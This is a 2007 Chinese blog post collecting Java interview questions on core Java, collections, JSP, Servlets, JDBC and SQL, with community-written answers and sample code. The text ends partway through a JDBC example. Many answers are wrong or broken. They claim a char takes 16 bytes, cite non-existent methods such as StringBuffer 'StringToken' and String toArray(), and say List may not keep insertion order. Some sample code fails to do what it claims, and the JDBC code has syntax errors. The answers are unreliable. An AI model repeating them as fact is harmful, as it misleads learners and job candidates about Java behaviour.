posted @ 2007-04-16 15:55 牛宝雷 阅读(204) | 评论 (0) | 编辑 收藏
 
面试时候经常会问的一些问题(不断补充中)
以下的内容均来自beansoft(http://www.blogjava.net/beansoft/archive/2007/03/26/102812.html),不过,beansoft可能没有时间回答,我现在把答案放上去.如果有错误的地方,请朋友们指出.每个面试题之间用颜色区别
  

面试必备基础题目(虽然不一定常用, 仅用于面试, 面试就是把人搞的都不会然后砍价, 当然您可以讲我可以查资料完成, 但是面试的时候就是没道理的, 起码我是经常看到这些题).

如何把一段逗号分割的字符串转换成一个数组?
回答:我做过一个测试,用string的split方法,所用的时间比较长,所以我建议用stringBuffer的StringToken,这样在效率上比较快.方法可以很多,可以用String的toArray()方法,然后把其中的逗号用遍历的方式去掉.

request.getAttribute() 和 request.getParameter() 有何区别?
回答:坦白的说,这两个的原理很相近,都是从request中取出数据.要说不同,我认为:request.getAttribute()的原理是key-value,但是request.getParameter() 是从表单或者说从参数中取数据,比如:request.getParameter("userName"), 是取得参数为userName的值.

response.sendRedirect() 和 forward() 区别?
回答:这个问题以前测试过,不过有些忘记了,现从网上找到了答案.
   response.sendRedirect();发送一个临时重定向响应到客户端,给出重定向位置。此重定向URL必须是绝对位置,不能是相对位置。不能带参数。
 <jsp:forward>能够向目标文件传送参数和值。如果使用了<jsp:param/>标签的话  
  ,目标文件必须是一个动态的文件,能够处理参数。如果使用了非缓冲输出,那么使用  
  <jsp:forward>时就要小心;如果使用<jsp:forward>之前,JSP文件已经有了数据,那么  
  文件运行将会出错。<jsp:forward>标签从一个JSP文件向另一个文件传递一个包含用户  
  请求的request对象,<jsp:forward>标签以下的代码将不能运行。
此外,对于<jsp:forward>我要说的是:我现在做的项目中采用了这个用法.采用<jsp:forward>后,页面不会在当前的页面停留,而是直接到
(<jsp:forward page="/WEB-INF/pages/test/loginUI.jsp"></jsp:forward>)其指向的文件,路径为相对路径

<%@include file="xxx.jsp"%>和 <jsp:include> 区别?
回答:@ include指令:在翻译阶段(将JSP页面转换成servlet的阶段),JSP的include指令会读入指定的页面中的内容,并将这些内容和原来的页面融合在一起。
   <%@ include file=”header.html”%>   
<jsp:include>指令用于在运行时引入另外的资源。   

 <jsp:include page=”navigation.jsp”/>
 这个指令是在请求处理阶段而不是在翻译阶段执行的。该行为并不是要引入指定页面的实际内容,它将引入执行该引入页面后所产生的应答,这意味着你可以指定任何能够产生文本应答的web资源。JSP容器将通过一个内部的函数调用来调用指定的资源
     此处:<c:import>行为和<jsp:include>相同


List 和 Map 区别?
回答:
容器内每个为之所存储的元素个数不同.Collection类型者,每个位置只有一个元素。Map类型者,持有 key-value pair,像个小型数据库.

Collection
    --List: 将以特定次序存储元素。所以取出来的顺序可能和放入顺序不同。
          --ArrayList / LinkedList / Vector
    --Set : 不能含有重复的元素
          --HashSet / TreeSet
Map
    --HashMap
    --HashTable
    --TreeMap

3、其他特征

*  List,Set,Map将持有对象一律视为Object型别。
*  Collection、List、Set、Map都是接口,不能实例化。
   继承自它们的 ArrayList, Vector, HashTable, HashMap是具象class,这些才可被实例化。
*  vector容器确切知道它所持有的对象隶属什么型别。vector不进行边界检查。

public class Parent
{
 public void test()
 {}
 
 public Parent()
 {
  test();
 }

 public static void main(String [] args)
 {
  new Child();
 }
}

class Child extends Parent
{
 private int instanceValue = 20;
 public void test()
 {
  System.out.println("instance value is: " + instanceValue);
 }
}
问这段程序会打印出的结果是什么?
回答:打印出instance value is:0;
原因:new Child()时,会自动调动其构造函数,但是子类并没有构造函数,所以继承父类的构造函数.同时自动调用test()方法,此时,并没有激发instanceValue的赋值.所以打印出
instance value is:0.此时,如果显示调用子类的test(),则同激发了instanceValue的赋值,所以就会打印出instance value is:20的结果.综上,就是考虑了是否激发类中变量的赋值情况.
Struts 和 Spring 自动填充表单参数到 Bean 的大致原理?
说一下你用的 Spring + Hibernate 的方框图? 您都用到了哪些部分?

请用英文简单介绍一下自己.

请把 http://tomcat.apache.org/ 首页的这一段话用中文翻译一下?

 

Apache Tomcat is the servlet container that is used in the official Reference Implementation for the Java Servlet and JavaServer Pages technologies. The Java Servlet and JavaServer Pages specifications are developed by Sun under the Java Community Process.

Apache Tomcat is developed in an open and participatory environment and released under the Apache Software License. Apache Tomcat is intended to be a collaboration of the best-of-breed developers from around the world. We invite you to participate in this open development project. To learn more about getting involved, click here.

Apache Tomcat powers numerous large-scale, mission-critical web applications across a diverse range of industries and organizations. Some of these users and their stories are listed on the PoweredBy wiki page.

 

try {
Connection conn = ...;
Statement stmt = ...;

ResultSet rs = stmt.executeQuery("select * from table1");

while(rs.next()) {

}
} catch(Exception ex) {
}

这段代码有什么不足之处?
回答:在用JDBC连接DB时,最大的问题就是:在使用完毕后,没有关闭连接.浪费资源

HTML 的 form 提交之前如何验证数值不为空? 为空的话提示用户并终止提交?

为什么要用 ORM?  和 JDBC 有何不一样?

Weblogic 的 Server, Machine, Node, Domain 都有何区别?

简要讲一下 EJB 的 7 个 Transaction Level?

最常见的: 用 JDBC 查询学生成绩单, 把主要代码写出来.

Tomcat 5 用 query.jsp?name=中文, 怎么把这个变量无乱码的取出来?

finally语句一定会执行么?

前几天有一个朋友去面试,被问到这样一个问题,如下

 1 public class  smallT
 2 {
 3 public static void  main(String args[])
 4 {
 5         smallT t  = new  smallT();
 6 int  b  =  t.get();
 7         System.out.println(b);
 8     }
 9 public int  get()
10 {
11 try
12 {
13 return 2 ;
14         }
15 catch (Exception e)
16 {
17 return 3 ;
18         }
19 finally
20 {
21 return 4 ;
22         }
23     }
24 }
25

输出:
4
我记得学习的时候说有返回值的方法,执行完return语句后就会停止了;另一方面我还记得在try……catch语句中finally语句也是一定要执行的。于是在这里就产生了麻烦。试了一下,发现果然是执行了finally中的值。正好这两天公司在培训,我便把这个问题提给java很厉害的一个讲师,他用断点测试了一下,说是两个值都返回了……
我又改了一小下,在get方法中逐个添上了输出信息到控制台的语句,发现居然能执行。如下

 1public class test
 2{
 3 public static void main(String args[])
 4{
 5        test t = new test();
 6 int b = t.get();
 7        System.out.println("Third: a = "+b);
 8    }
 9 public int get()
10{
11 try
12{
13         System.out.println("First: a = "+2);
14 return 2;
15        }
16 catch(Exception e)
17{
18         System.out.println(3);
19        }
20 finally
21{
22            System.out.println("Second: a = "+4);
23 return 4;
24        }
25    }
26}
27

输出:
First: a = 2
Second: a = 4
Third: a = 4
可这明明是一个需要返回一个int整数的方法啊。

 

一道面试题目

一个整数,大于0,不用循环和本地变量,按照n,2n,4n,8n的顺序递增,当值大于5000时,把值按照指定顺序输出来。
例:n=1237
则输出为:
1237,
2474,
4948,
9896,
9896,
4948,
2474,
1237,

美资软件公司JAVA工程师电话面试题目

1. Talk about overriding, overloading.
2. Talk about JAVA design patterns you known.
3. Talk about the difference between LinkList, ArrayList and Victor.
4. Talk about the difference between an Abstract class and an Interface.
5. Class a = new Class(); Class b = new Class();
 if(a == b) returns true or false, why?
6. Why we use StringBuffer when concatenating strings?
7. Try to explain Singleton to us? Is it thread safe? If no, how to make it thread safe?
8. Try to explain Ioc?
9. How to set many-to-many relationship in Hibernate?
10. Talk about the difference between INNER JOIN and LFET JOIN.
11. Why we use index in database? How many indexes is the maximum in one table as your suggestion?
12. When ‘Final’ is used in class, method and property, what dose it mean?
13. Do you have any experience on XML? Talk about any XML tool you used ,e.g. JAXB, JAXG.
14. Do you have any experience on Linux?
15. In OOD what is the reason when you create a Sequence diagram?

补一个内部培训用的 PPT:  SQL Tuning in Sybase.zip 17KB, 英文, Sybase 调优, 大部分道理是通用的.

数据库三范式是什么? 别看问题简单, 我也经常答不上来被面试的人写上数据库不行.

还有就是 Sun Java 认证时候会考的一些英文选择题, 填空题, 模拟题也成.

赴港JAVA开发工程师的面试题目

 

也是上个星期五的上午,按照与猎头的约定,接受了香港某软件供应商的面试。工作是分析程序员,需赴港工作,以下是面试过程以及题目(大概记下了90%),记下来与大家分享。
第一部分:例行公事的英文自我介绍;
以下部分必须以粤语回答,本人非广东人,粤语会讲,但是不标准。
第二部分:项目经验介绍,着重介绍项目背景,开发流程以及本人在项目开发过程中的角色;
第三部分:面试官根据简历提问:
(1)说出Abstract class与interface的不同?
(2)Oracle中如何进行错误处理?如果用户反应速度慢,你如何着手解决问题?
(3)图画板上列了两个table,问查询结果,主要是考inner join与left join的。
(4)union和union all有什么不同?
(5)你用什么软件做设计?
(6)是否用过Websphere?
(7)iBatis与Hibernate有什么不同?
(8)谈谈Struts中的Action servlet。
(9)是否开发过IBM portal项目。
(10)是否介意加班?
(11)如果你去香港工作,你认为你最大的困难是什么?
第四部分:笔试,三个英文考试题目选一个作答,内容都是写一份email。
出来后问了猎头,他说最迟一个星期内就有结果。
结果,晚上就接到电话说通过了,并收到了合同和赴港申请的电子文件。工作地点是九龙,月薪18K(中等偏低),合同期一年。猎头催我尽快签合同,然后他们马上就去办工作签证。
犹豫ing。

每个JAVA初学者应该知道的问题

对于这个系列里的问题,每个学Java的人都应该搞懂。当然,如果只是学Java玩玩就无所谓了。如果你认为自己已经超越初学者了,却不很懂这些问题,请将你自己重归初学者行列。内容均来自于CSDN的经典老贴。
问题一:我声明了什么!
String s = "Hello world!";
许多人都做过这样的事情,但是,我们到底声明了什么?回答通常是:一个String,内容是“Hello world!”。这样模糊的回答通常是概念不清的根源。如果要准确的回答,一半的人大概会回答错误。
这个语句声明的是一个指向对象的引用,名为“s”,可以指向类型为String的任何对象,目前指向"Hello world!"这个String类型的对象。这就是真正发生的事情。我们并没有声明一个String对象,我们只是声明了一个只能指向String对象的引用变量。所以,如果在刚才那句语句后面,如果再运行一句:
String string = s;
我们是声明了另外一个只能指向String对象的引用,名为string,并没有第二个对象产生,string还是指向原来那个对象,也就是,和s指向同一个对象。
问题二:"=="和equals方法究竟有什么区别?
==操作符专门用来比较变量的值是否相等。比较好理解的一点是:
int a=10;
int b=10;
则a==b将是true。
但不好理解的地方是:
String a=new String("foo");
String b=new String("foo");
则a==b将返回false。
根据前一帖说过,对象变量其实是一个引用,它们的值是指向对象所在的内存地址,而不是对象本身。a和b都使用了new操作符,意味着将在内存中产生两个内容为"foo"的字符串,既然是“两个”,它们自然位于不同的内存地址。a和b的值其实是两个不同的内存地址的值,所以使用"=="操作符,结果会是 false。诚然,a和b所指的对象,它们的内容都是"foo",应该是“相等”,但是==操作符并不涉及到对象内容的比较。
对象内容的比较,正是equals方法做的事。
看一下Object对象的equals方法是如何实现的:
boolean equals(Object o){
return this==o;
}
Object 对象默认使用了==操作符。所以如果你自创的类没有覆盖equals方法,那你的类使用equals和使用==会得到同样的结果。同样也可以看出, Object的equals方法没有达到equals方法应该达到的目标:比较两个对象内容是否相等。因为答案应该由类的创建者决定,所以Object把这个任务留给了类的创建者。
看一下一个极端的类:
Class Monster{
private String content;
...
boolean equals(Object another){ return true;}
}
我覆盖了equals方法。这个实现会导致无论Monster实例内容如何,它们之间的比较永远返回true。
所以当你是用equals方法判断对象的内容是否相等,请不要想当然。因为可能你认为相等,而这个类的作者不这样认为,而类的equals方法的实现是由他掌握的。如果你需要使用equals方法,或者使用任何基于散列码的集合(HashSet,HashMap,HashTable),请察看一下 java doc以确认这个类的equals逻辑是如何实现的。
问题三:String到底变了没有?
没有。因为String被设计成不可变(immutable)类,所以它的所有对象都是不可变对象。请看下列代码:
String s = "Hello";
s = s + " world!";
s 所指向的对象是否改变了呢?从本系列第一篇的结论很容易导出这个结论。我们来看看发生了什么事情。在这段代码中,s原先指向一个String对象,内容是 "Hello",然后我们对s进行了+操作,那么s所指向的那个对象是否发生了改变呢?答案是没有。这时,s不指向原来那个对象了,而指向了另一个 String对象,内容为"Hello world!",原来那个对象还存在于内存之中,只是s这个引用变量不再指向它了。
通过上面的说明,我们很容易导出另一个结论,如果经常对字符串进行各种各样的修改,或者说,不可预见的修改,那么使用String来代表字符串的话会引起很大的内存开销。因为 String对象建立之后不能再改变,所以对于每一个不同的字符串,都需要一个String对象来表示。这时,应该考虑使用StringBuffer类,它允许修改,而不是每个不同的字符串都要生成一个新的对象。并且,这两种类的对象转换十分容易。
同时,我们还可以知道,如果要使用内容相同的字符串,不必每次都new一个String。例如我们要在构造器中对一个名叫s的String引用变量进行初始化,把它设置为初始值,应当这样做:
public class Demo {
private String s;
...
public Demo {
s = "Initial Value";
}
...
}
而非
s = new String("Initial Value");
后者每次都会调用构造器,生成新对象,性能低下且内存开销大,并且没有意义,因为String对象不可改变,所以对于内容相同的字符串,只要一个String对象来表示就可以了。也就说,多次调用上面的构造器创建多个对象,他们的String类型属性s都指向同一个对象。
上面的结论还基于这样一个事实:对于字符串常量,如果内容相同,Java认为它们代表同一个String对象。而用关键字new调用构造器,总是会创建一个新的对象,无论内容是否相同。
至于为什么要把String类设计成不可变类,是它的用途决定的。其实不只String,很多Java标准类库中的类都是不可变的。在开发一个系统的时候,我们有时候也需要设计不可变类,来传递一组相关的值,这也是面向对象思想的体现。不可变类有一些优点,比如因为它的对象是只读的,所以多线程并发访问也不会有任何问题。当然也有一些缺点,比如每个不同的状态都要一个对象来代表,可能会造成性能上的问题。所以Java标准类库还提供了一个可变版本,即 StringBuffer。
问题四:final关键字到底修饰了什么?
final使得被修饰的变量"不变",但是由于对象型变量的本质是“引用”,使得“不变”也有了两种含义:引用本身的不变,和引用指向的对象不变。
引用本身的不变:
final StringBuffer a=new StringBuffer("immutable");
final StringBuffer b=new StringBuffer("not immutable");
a=b;//编译期错误
引用指向的对象不变:
final StringBuffer a=new StringBuffer("immutable");
a.append(" broken!"); //编译通过
可见,final只对引用的“值”(也即它所指向的那个对象的内存地址)有效,它迫使引用只能指向初始指向的那个对象,改变它的指向会导致编译期错误。至于它所指向的对象的变化,final是不负责的。这很类似==操作符:==操作符只负责引用的“值”相等,至于这个地址所指向的对象内容是否相等,==操作符是不管的。
理解final问题有很重要的含义。许多程序漏洞都基于此----final只能保证引用永远指向固定对象,不能保证那个对象的状态不变。在多线程的操作中,一个对象会被多个线程共享或修改,一个线程对对象无意识的修改可能会导致另一个使用此对象的线程崩溃。一个错误的解决方法就是在此对象新建的时候把它声明为final,意图使得它“永远不变”。其实那是徒劳的。
问题五:到底要怎么样初始化!
本问题讨论变量的初始化,所以先来看一下Java中有哪些种类的变量。
1. 类的属性,或者叫值域
2. 方法里的局部变量
3. 方法的参数
对于第一种变量,Java虚拟机会自动进行初始化。如果给出了初始值,则初始化为该初始值。如果没有给出,则把它初始化为该类型变量的默认初始值。
int类型变量默认初始值为0
float类型变量默认初始值为0.0f
double类型变量默认初始值为0.0
boolean类型变量默认初始值为false
char类型变量默认初始值为0(ASCII码)
long类型变量默认初始值为0
所有对象引用类型变量默认初始值为null,即不指向任何对象。注意数组本身也是对象,所以没有初始化的数组引用在自动初始化后其值也是null。
对于两种不同的类属性,static属性与instance属性,初始化的时机是不同的。instance属性在创建实例的时候初始化,static属性在类加载,也就是第一次用到这个类的时候初始化,对于后来的实例的创建,不再次进行初始化。这个问题会在以后的系列中进行详细讨论。
对于第二种变量,必须明确地进行初始化。如果再没有初始化之前就试图使用它,编译器会抗议。如果初始化的语句在try块中或if块中,也必须要让它在第一次使用前一定能够得到赋值。也就是说,把初始化语句放在只有if块的条件判断语句中编译器也会抗议,因为执行的时候可能不符合if后面的判断条件,如此一来初始化语句就不会被执行了,这就违反了局部变量使用前必须初始化的规定。但如果在else块中也有初始化语句,就可以通过编译,因为无论如何,总有至少一条初始化语句会被执行,不会发生使用前未被初始化的事情。对于try-catch也是一样,如果只有在try块里才有初始化语句,编译部通过。如果在 catch或finally里也有,则可以通过编译。总之,要保证局部变量在使用之前一定被初始化了。所以,一个好的做法是在声明他们的时候就初始化他们,如果不知道要出事化成什么值好,就用上面的默认值吧!
其实第三种变量和第二种本质上是一样的,都是方法中的局部变量。只不过作为参数,肯定是被初始化过的,传入的值就是初始值,所以不需要初始化。
问题六:instanceof是什么东东?
instanceof是Java的一个二元操作符,和==,>,<是同一类东东。由于它是由字母组成的,所以也是Java的保留关键字。它的作用是测试它左边的对象是否是它右边的类的实例,返回boolean类型的数据。举个例子:
String s = "I AM an Object!";
boolean isObject = s instanceof Object;
我们声明了一个String对象引用,指向一个String对象,然后用instancof来测试它所指向的对象是否是Object类的一个实例,显然,这是真的,所以返回true,也就是isObject的值为True。
instanceof有一些用处。比如我们写了一个处理账单的系统,其中有这样三个类:
public class Bill {//省略细节}
public class PhoneBill extends Bill {//省略细节}
public class GasBill extends Bill {//省略细节}
在处理程序里有一个方法,接受一个Bill类型的对象,计算金额。假设两种账单计算方法不同,而传入的Bill对象可能是两种中的任何一种,所以要用instanceof来判断:
public double calculate(Bill bill) {
if (bill instanceof PhoneBill) {
//计算电话账单
}
if (bill instanceof GasBill) {
//计算燃气账单
}
...
}
这样就可以用一个方法处理两种子类。
然而,这种做法通常被认为是没有好好利用面向对象中的多态性。其实上面的功能要求用方法重载完全可以实现,这是面向对象变成应有的做法,避免回到结构化编程模式。只要提供两个名字和返回值都相同,接受参数类型不同的方法就可以了:
public double calculate(PhoneBill bill) {
//计算电话账单
}
public double calculate(GasBill bill) {
//计算燃气账单
}
所以,使用instanceof在绝大多数情况下并不是推荐的做法,应当好好利用多态。

BeanSoft 参加过的一次面试:

 

2004年8月18日 星期三 〖农历 甲申 猴年 七月初三〗

笔试题目
1. 写出常用的 Linux 命令
a) 列出当前目录
b) 列出所有系统变量
c) 重命名文件
d) etc... 记不住了.

2. Write a Java application use the Singleton pattern, it should have one instance per class. It should have two integer variable, one is count, on is inita. There should be two methods in this class, and the method should be thread safely in multi-thread environment.
a) a count() method, after each call the count should be added on by 1;
b) a reset() method, after each call the count should be set to the value of inita.

3. Write a JavaBean and a JSP file. The page should output a date string in this pattern "今天是2004年8月15日上午10:00", the value is taken from the bean.

4. 以下三个题目, 任选其一或多个:
1) 忘了..., 是关于 Java 的.
2) 写一个应用程序, 读出 STUDENT 表中的数据并打印出所有名称. 数据库系统任选.
3) 写一个 Servlet, 读取名为 url 的参数, 并连接到此字符串指定的地址上, 读取所有内容后显示给客户.

5. 6. 7. 都是关于 SQL 的, 例如 SELECT, UPDATE, DELETE 之类的, 还有的有子查询. 数据库系统没有限制.

8. Write a html file, it shoud has follow functions:
1) check whether the user's name is empty;
2) the email address should has a '@';
3) telephone number must be '1'-'9', '-', ' '(space).
Page picture:
Please input your name:
[____________________] [Check input]
Please input your address:
[abc@________________] [Check input]
Please input your telephone number:
[____123a____________] [Check input]

 

Java 面试题及其答案

前段时间因为要参加一个笔试,在准备期间在网上找到了两条关于笔试题目的文章,其中一篇为<<有感:应聘Java笔试时可能出现问题>>,还有一篇忘了名字,读后深受启发。
在寻找这些答案的过程中,我将相关答案记录下来,就形成了以下这些东西。需要说明的是以下答案肯定有很多不完整甚至错误的地方,需要各位来更正与完善它,千万不要扔我的鸡蛋啊。
希望本文能够给即将奔赴笔试考场的同仁些许帮助,更希望更多的人加入到收集整理笔试题与完善答案的这些工作中来,为大家更好的获得工作机会做一点贡献。
在此感谢前面两文的作者的对笔试题目的收集与整理。
如有任何意见与建议请通过QQ:6045306,Mail:huijunzi@21cn.com与我联系。
Java基础方面:

1、作用域public,private,protected,以及不写时的区别
答:区别如下:
作用域 当前类 同一package 子孙类 其他package
public √ √ √ √
protected √ √ √ ×
friendly √ √ × ×
private √ × × ×
不写时默认为friendly

2、ArrayList和Vector的区别,HashMap和Hashtable的区别
答:就ArrayList与Vector主要从二方面来说.
一.同步性:Vector是线程安全的,也就是说是同步的,而ArrayList是线程序不安全的,不是同步的
二.数据增长:当需要增长时,Vector默认增长为原来一培,而ArrayList却是原来的一半
就HashMap与HashTable主要从三方面来说。
一.历史原因:Hashtable是基于陈旧的Dictionary类的,HashMap是Java 1.2引进的Map接口的一个实现
二.同步性:Hashtable是线程安全的,也就是说是同步的,而HashMap是线程序不安全的,不是同步的
三.值:只有HashMap可以让你将空值作为一个表的条目的key或value

3、char型变量中能不能存贮一个中文汉字?为什么?
答:是能够定义成为一个中文的,因为java中以unicode编码,一个char占16个字节,所以放一个中文是没问题的

4、多线程有几种实现方法,都是什么?同步有几种实现方法,都是什么?
答:多线程有两种实现方法,分别是继承Thread类与实现Runnable接口
同步的实现方面有两种,分别是synchronized,wait与notify

5、继承时候类的执行顺序问题,一般都是选择题,问你将会打印出什么?
答:父类:
package test;
public class FatherClass
{
public FatherClass()
{
System.out.println("FatherClass Create");
}
}
子类:
package test;
import test.FatherClass;
public class ChildClass extends FatherClass
{
public ChildClass()
{
System.out.println("ChildClass Create");
}
public static void main(String[] args)
{
FatherClass fc = new FatherClass();
ChildClass cc = new ChildClass();
}
}
输出结果:
C:\>java test.ChildClass
FatherClass Create
FatherClass Create
ChildClass Create

6、内部类的实现方式?
答:示例代码如下:
package test;
public class OuterClass
{
private class InterClass
{
public InterClass()
{
System.out.println("InterClass Create");
}
}
public OuterClass()
{
InterClass ic = new InterClass();
System.out.println("OuterClass Create");
}
public static void main(String[] args)
{
OuterClass oc = new OuterClass();
}
}
输出结果:
C:\>java test/OuterClass
InterClass Create
OuterClass Create
再一个例题:
public class OuterClass {
private double d1 = 1.0;
//insert code here
}
You need to insert an inner class declaration at line 3. Which two inner class declarations are

valid?(Choose two.)
A. class InnerOne{
public static double methoda() {return d1;}
}
B. public class InnerOne{
static double methoda() {return d1;}
}
C. private class InnerOne{
double methoda() {return d1;}
}
D. static class InnerOne{
protected double methoda() {return d1;}
}
E. abstract class InnerOne{
public abstract double methoda();
}
说明如下:
一.静态内部类可以有静态成员,而非静态内部类则不能有静态成员。 故 A、B 错
二.静态内部类的非静态成员可以访问外部类的静态变量,而不可访问外部类的非静态变量;return d1 出错。

故 D 错
三.非静态内部类的非静态成员可以访问外部类的非静态变量。 故 C 正确
四.答案为C、E

7、垃圾回收机制,如何优化程序?
希望大家补上,谢谢

8、float型float f=3.4是否正确?
答:不正确。精度不准确,应该用强制类型转换,如下所示:float f=(float)3.4

9、介绍JAVA中的Collection FrameWork(包括如何写自己的数据结构)?
答:Collection FrameWork如下:
Collection
├List
│├LinkedList
│├ArrayList
│└Vector
│ └Stack
└Set
Map
├Hashtable
├HashMap
└WeakHashMap
Collection是最基本的集合接口,一个Collection代表一组Object,即Collection的元素(Elements)
Map提供key到value的映射

10、Java中异常处理机制,事件机制?

11、JAVA中的多形与继承?
希望大家补上,谢谢

12、抽象类与接口?
答:抽象类与接口都用于抽象,但是抽象类(JAVA中)可以有自己的部分实现,而接口则完全是一个标识(同时有多重继承的功能)。

13、Java 的通信编程,编程题(或问答),用JAVA SOCKET编程,读服务器几个字符,再写入本地显示?
答:Server端程序:
package test;
import java.net.*;
import java.io.*;

public class Server
{
private ServerSocket ss;
private Socket socket;
private BufferedReader in;
private PrintWriter out;
public Server()
{
try
{
ss=new ServerSocket(10000);
while(true)
{
socket = ss.accept();
String RemoteIP = socket.getInetAddress().getHostAddress();
String RemotePort = ":"+socket.getLocalPort();
System.out.println("A client come in!IP:"+RemoteIP+RemotePort);
in = new BufferedReader(new

InputStreamReader(socket.getInputStream()));
String line = in.readLine();
System.out.println("Cleint send is :" + line);
out = new PrintWriter(socket.getOutputStream(),true);
out.println("Your Message Received!");
out.close();
in.close();
socket.close();
}
}catch (IOException e)
{
out.println("wrong");
}
}
public static void main(String[] args)
{
new Server();
}
};
Client端程序:
package test;
import java.io.*;
import java.net.*;

public class Client
{
Socket socket;
BufferedReader in;
PrintWriter out;
public Client()
{
try
{
System.out.println("Try to Connect to 127.0.0.1:10000");
socket = new Socket("127.0.0.1",10000);
System.out.println("The Server Connected!");
System.out.println("Please enter some Character:");
BufferedReader line = new BufferedReader(new

InputStreamReader(System.in));
out = new PrintWriter(socket.getOutputStream(),true);
out.println(line.readLine());
in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
System.out.println(in.readLine());
out.close();
in.close();
socket.close();
}catch(IOException e)
{
out.println("Wrong");
}
}
public static void main(String[] args)
{
new Client();
}
};

14、用JAVA实现一种排序,JAVA类实现序列化的方法(二种)? 如在COLLECTION框架中,实现比较要实现什么样的接口?
答:用插入法进行排序代码如下
package test;
import java.util.*;
class InsertSort
{
ArrayList al;
public InsertSort(int num,int mod)
{
al = new ArrayList(num);
Random rand = new Random();
System.out.println("The ArrayList Sort Before:");
for (int i=0;i<num ;i++ )
{
al.add(new Integer(Math.abs(rand.nextInt()) % mod + 1));
System.out.println("al["+i+"]="+al.get(i));
}
}
public void SortIt()
{
Integer tempInt;
int MaxSize=1;
for(int i=1;i<al.size();i++)
{
tempInt = (Integer)al.remove(i);
if(tempInt.intValue()>=((Integer)al.get(MaxSize-1)).intValue())
{
al.add(MaxSize,tempInt);
MaxSize++;
System.out.println(al.toString());
} else {
for (int j=0;j<MaxSize ;j++ )
{
if

(((Integer)al.get(j)).intValue()>=tempInt.intValue())
{
al.add(j,tempInt);
MaxSize++;
System.out.println(al.toString());
break;
}
}
}
}
System.out.println("The ArrayList Sort After:");
for(int i=0;i<al.size();i++)
{
System.out.println("al["+i+"]="+al.get(i));
}
}
public static void main(String[] args)
{
InsertSort is = new InsertSort(10,100);
is.SortIt();
}
}
JAVA类实现序例化的方法是实现java.io.Serializable接口
Collection框架中实现比较要实现Comparable 接口和 Comparator 接口

15、编程:编写一个截取字符串的函数,输入为一个字符串和字节数,输出为按字节截取的字符串。 但是要保证汉字不被截半个,如“我ABC”4,应该截为“我AB”,输入“我ABC汉DEF”,6,应该输出为“我ABC”而不是“我ABC+汉的半个”。
答:代码如下:
package test;

class SplitString
{
String SplitStr;
int SplitByte;
public SplitString(String str,int bytes)
{
SplitStr=str;
SplitByte=bytes;
System.out.println("The String is:′"+SplitStr+"′SplitBytes="+SplitByte);
}
public void SplitIt()
{
int loopCount;

loopCount=(SplitStr.length()%SplitByte==0)?(SplitStr.length()/SplitByte):(SplitStr.length()/Split

Byte+1);
System.out.println("Will Split into "+loopCount);
for (int i=1;i<=loopCount ;i++ )
{
if (i==loopCount){

System.out.println(SplitStr.substring((i-1)*SplitByte,SplitStr.length()));
} else {

System.out.println(SplitStr.substring((i-1)*SplitByte,(i*SplitByte)));
}
}
}
public static void main(String[] args)
{
SplitString ss = new SplitString("test中dd文dsaf中男大3443n中国43中国人

0ewldfls=103",4);
ss.SplitIt();
}
}

16、JAVA多线程编程。 用JAVA写一个多线程程序,如写四个线程,二个加1,二个对一个变量减一,输出。
希望大家补上,谢谢

17、STRING与STRINGBUFFER的区别。
答:STRING的长度是不可变的,STRINGBUFFER的长度是可变的。如果你对字符串中的内容经常进行操作,特别是内容要修改时,那么使用StringBuffer,如果最后需要String,那么使用StringBuffer的toString()方法

Jsp方面

1、jsp有哪些内置对象?作用分别是什么?
答:JSP共有以下9种基本内置组件(可与ASP的6种内部组件相对应):
 request 用户端请求,此请求会包含来自GET/POST请求的参数
response 网页传回用户端的回应
pageContext 网页的属性是在这里管理
session 与请求有关的会话期
application servlet 正在执行的内容
out 用来传送回应的输出
config servlet的构架部件
page JSP网页本身
exception 针对错误网页,未捕捉的例外

2、jsp有哪些动作?作用分别是什么?
答:JSP共有以下6种基本动作
jsp:include:在页面被请求的时候引入一个文件。
jsp:useBean:寻找或者实例化一个JavaBean。
jsp:setProperty:设置JavaBean的属性。
jsp:getProperty:输出某个JavaBean的属性。
jsp:forward:把请求转到一个新的页面。
jsp:plugin:根据浏览器类型为Java插件生成OBJECT或EMBED标记

3、JSP中动态INCLUDE与静态INCLUDE的区别?
答:动态INCLUDE用jsp:include动作实现
<jsp:include page="included.jsp" flush="true" />它总是会检查所含文件中的变化,适合用于包含动态页面,并且可以带参数
静态INCLUDE用include伪码实现,定不会检查所含文件的变化,适用于包含静态页面
<%@ include file="included.htm" %>

4、两种跳转方式分别是什么?有什么区别?
答:有两种,分别为:
<jsp:include page="included.jsp" flush="true">
<jsp:forward page= "nextpage.jsp"/>
前者页面不会转向include所指的页面,只是显示该页的结果,主页面还是原来的页面。执行完后还会回来,相当于函数调用。并且可以带参数.后者完全转向新页面,不会再回来。相当于go to 语句。

Servlet方面

1、说一说Servlet的生命周期?
答:servlet有良好的生存期的定义,包括加载和实例化、初始化、处理请求以及服务结束。这个生存期由javax.servlet.Servlet接口的init,service和destroy方法表达。

2、Servlet版本间(忘了问的是哪两个版本了)的不同?
希望大家补上,谢谢

3、JAVA SERVLET API中forward() 与redirect()的区别?
答:前者仅是容器中控制权的转向,在客户端浏览器地址栏中不会显示出转向后的地址;后者则是完全的跳转,浏览器将会得到跳转的地址,并重新发送请求链接。这样,从浏览器的地址栏中可以看到跳转后的链接地址。所以,前者更加高效,在前者可以满足需要时,尽量使用forward()方法,并且,这样也有助于隐藏实际的链接。在有些情况下,比如,需要跳转到一个其它服务器上的资源,则必须使用sendRedirect()方法。

4、Servlet的基本架构
public class ServletName extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException {
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException {
}
}

Jdbc、Jdo方面

1、可能会让你写一段Jdbc连Oracle的程序,并实现数据查询.
答:程序如下:
package hello.ant;
import java.sql.*;
public class jdbc
{
String dbUrl="jdbc:oracle:thin:@127.0.0.1:1521:orcl"
String theUser="admin"
String thePw="manager"
Connection c=null;
Statement conn;
ResultSet rs=null;
public jdbc()
{
try{
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
c = DriverManager.getConnection(dbUrl,theUser,thePw);
conn=c.createStatement();
}catch(Exception e){
e.printStackTrace();
}
}
public boolean executeUpdate(String sql)
{
try
{
conn.executeUpdate(sql);
return true;
}
catch (SQLException e)
{
e.printStackTrace();
return false;
}
}
public ResultSet executeQuery(String sql)
{
rs=null;
try
{
rs=conn.executeQuery(sql);
}
catch (SQLException e)
{
e.printStackTrace();
}
return rs;
}
public void close()
{
try
{
conn.close();
c.close();
}
